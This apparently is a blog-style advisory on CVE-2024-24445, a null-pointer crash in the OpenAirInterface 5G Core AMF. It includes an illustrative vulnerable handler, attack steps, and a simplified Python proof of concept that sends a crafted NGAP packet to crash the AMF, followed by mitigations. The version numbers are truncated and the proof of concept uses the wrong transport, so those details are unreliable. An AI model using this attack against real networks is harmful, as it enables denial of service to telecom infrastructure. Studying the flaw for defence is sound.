OpenAirInterface’s 5G Core (CN5G), a popular open-source telecom solution, is supposed to handle tricky network traffic securely. But sometimes a simple coding mistake can let an attacker bring the whole show down. That’s what happened with CVE-2024-24445 — a serious bug that lets just about anyone on your network crash your AMF (Access and Mobility Management Function).

Let’s break down what this bug is, how it works in oai-cn5g-amf versions ≤ 2.., and what it means for anyone running a 5G core with OAI.

What’s CVE-2024-24445?

This vulnerability lives in the AMF part of OpenAirInterface 5G Core (oai-cn5g-amf). The AMF is kind of a “hall monitor” in the 5G core, handling mobility and session management for subscribers.

The problem: if the AMF receives an unsupported NGAP message (NGAP is the NG Application Protocol, handling messages between the AMF and the 5G gNB base stations), it will sometimes try to “handle” it using a null function pointer. In other words, it expects a handler function to exist, but when none does, it still calls it, crashing the AMF on the spot.

Anyone running OpenAirInterface CN5G AMF version 2.. or earlier

- Your network base stations (or anyone who can pose as one) can crash your core — that can mean a total network denial of service.

Code Under the Hood: Where Things Go Wrong

Let’s look at the general pattern, based on the OAI NGAP protocol handler code:

// (Example) In ngap_amf.cpp or similar handler
void handle_ngap_message(uint32_t procedure_code, bool presence) {
    handler_function_t handler = message_handler_table[procedure_code][presence];
    // (handler is NULL when procedure_code/presence not supported)
    handler(message); // <-- BOOM! Null pointer dereference
}

There’s no check if handler is NULL. If the procedure code and presence doesn’t match what’s expected, handler will just be NULL. Trying to call it crashes the process.

Get Network Access

Gain access to the network segment where the AMF listens for NGAP messages. This is usually internal to the telco, but often exposed inside virtualized test/dev environments, too.

2. Send a Malformed/Unsupported NGAP Message
Use a crafted message with an invalid or unsupported procedure code and/or presence tuple.

Here’s a simplified PoC showing the idea

import socket

# Setup UDP socket for NGAP (default SCTP is used, you need SCTP support in prod)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
amf_ip = "192.168.1.50"
ngap_port = 38412  # Default NGAP port

# Build a basic NGAP packet with an invalid procedure code and presence tuple
ngap_header = bytes.fromhex("00040001DEADBEEF")  # Fake header, procedure code likely unsupported

s.sendto(ngap_header, (amf_ip, ngap_port))

> Note: The actual attack needs to use correct transport (SCTP) and a valid NGAP message structure, but just sending an unexpected procedure code is enough. See the NGAP spec for details.

Talking About the Source

Full credit for the bug discovery and fix goes to the OAI community. You can see the original discussion and fix at:
- NVD: CVE-2024-24445
- OAI GitHub Pull Requests

How Do I Protect My Core?

- Upgrade to a version of OAI where the null deref is fixed (check the releases here).
- If you can’t upgrade, put network segmentation in place: NGAP listeners must only be accessible by trusted gNBs.

Conclusion

If you’re running OpenAirInterface for your 5G AMF, update now. Otherwise, anyone on your network can knock your core offline with a single packet. Sometimes the smallest pointer can cause the biggest trouble.

*References:*
- NVD: CVE-2024-24445
- OAI official repo
- NGAP 3GPP TS 38.413

Timeline

Published on: 01/21/2025 22:15:11 UTC
Last modified on: 03/18/2025 21:15:24 UTC